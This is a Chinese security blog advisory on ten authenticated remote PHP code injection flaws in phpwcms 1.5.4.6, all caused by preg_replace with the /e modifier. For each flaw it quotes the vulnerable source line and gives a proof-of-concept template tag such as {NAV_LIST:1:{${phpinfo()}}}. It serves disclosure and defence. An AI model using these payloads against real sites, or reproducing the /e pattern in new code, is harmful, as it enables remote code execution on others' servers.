您的位置 » 首页 » 代码审计,实用工具 » 漏洞播报:phpwcms ‘preg_replace()’多个远程PHP代码注入漏洞

漏洞播报:phpwcms ‘preg_replace()’多个远程PHP代码注入漏洞

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2012年12月21日 | 文章热度:3,466 次 全屏阅读

显示不全请点击全屏阅读

phpwcms是开源内容管理系统。

 
phpwcms  1.5.4.6及其他版本在实现上存在多个代码注入漏洞,通过身份验证的远程攻击者可以用”backend user”\”admin user”\”backend user”账户利用这些漏洞(”frontend user”账户不能利用这些漏洞)在受影响计算机内执行任意PHP脚本代码。
 
测试方法:
 
1. Lines 699-700 of ./include/inc_front/content.func.inc.php:
————————————————————-
 
// list based navigation starting at given level
$replace = ‘nav_list_struct($content[“struct”],$content[“cat_id”],”$1″, “$2”);’;
$content[“all”] = preg_replace(‘/\{NAV_LIST:(\d+):{0,1}(.*){0,1}\}/e’, $replace, $content[“all”]);
 
PoC:
{NAV_LIST:1:{${phpinfo()}}}
 
2. Line 704 of ,.include/inc_front/content.func.inc.php:
——————————————————–
 
$content[“all”] = preg_replace(‘/\{NAV_LIST_TOP:(.*?):(.*?)\}/e’, ‘css_level_list($content[“struct”], $content[“cat_path”], 0, “$1”, 1, “$2”)’, $content[“all”]);
 
PoC:
{NAV_LIST_TOP:{${phpinfo}}:1}
 
3. line 708 of ./include/inc_front/content.func.inc.php:
——————————————————–
 
$content[“all”] = preg_replace(‘/\{NAV_LIST_CURRENT:(\d+):(.*?):(.*?)\}/e’, ‘css_level_list($content[“struct”],$content[“cat_path”],$content[“cat_id”],”$2″,”$1″,”$3″)’, $content[“all”]);
 
PoC:
{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}
 
4. Line 792 of ./include/inc_front/content.func.inc.php:
——————————————————–
 
$content[“all”] = preg_replace(‘/\{BROWSE:NEXT:(.*?):(0|1)\}/e’,’get_index_link_next(“$1”,$2);’,$content[“all”]);
 
PoC:
{BROWSE:NEXT:{${phpinfo()}}:1}
 
5. Line 793 of ./include/inc_front/content.func.inc.php:
——————————————————–
 
$content[“all”] = preg_replace(‘/\{BROWSE:PREV:(.*?):(0|1)\}/e’,’get_index_link_prev(“$1”,$2);’,$content[“all”]);
 
PoC:
{BROWSE:PREV:{${phpinfo()}}:1}
 
6. Line 2661 of ./include/inc_front/front.func.inc.php:
——————————————————-
 
$text = preg_replace(‘/\{LIVEDATE:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$livedate.'”)’, $text);
 www.2cto.com
PoC:
{LIVEDATE:{${phpinfo()}} lang=ru}
 
7. Line 2658 of ./include/inc_front/front.func.inc.php:
——————————————————-
 
$text = preg_replace(‘/\{DATE:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$date.'”)’, $text);
 
PoC:
{DATE:{${phpinfo()}} lang=ru}
 
8. Line 2665 of ./include/inc_front/front.func.inc.php:
——————————————————-
 
$text = preg_replace(‘/\{KILLDATE:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$killdate.'”)’, $text);
 
PoC:
{KILLDATE:{${phpinfo()}} lang=ru}
 
9. Line 2668 of ./include/inc_front/front.func.inc.php:
——————————————————-
 
return preg_replace(‘/\{NOW:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.now().'”)’, $text);
 
PoC:
{NOW:{${phpinfo()}} lang=ru}
 
10. Line 2674 of ./include/inc_front/front.func.inc.php:
——————————————————–
 
$text = preg_replace(‘/\{‘.$rt.’:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$date.'”)’, $text);
 
PoC:
{DATE:{${phpinfo()}} lang=ru}
安全建议:
 
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.phpwcms.de/

Tags:

漏洞播报,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1918/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)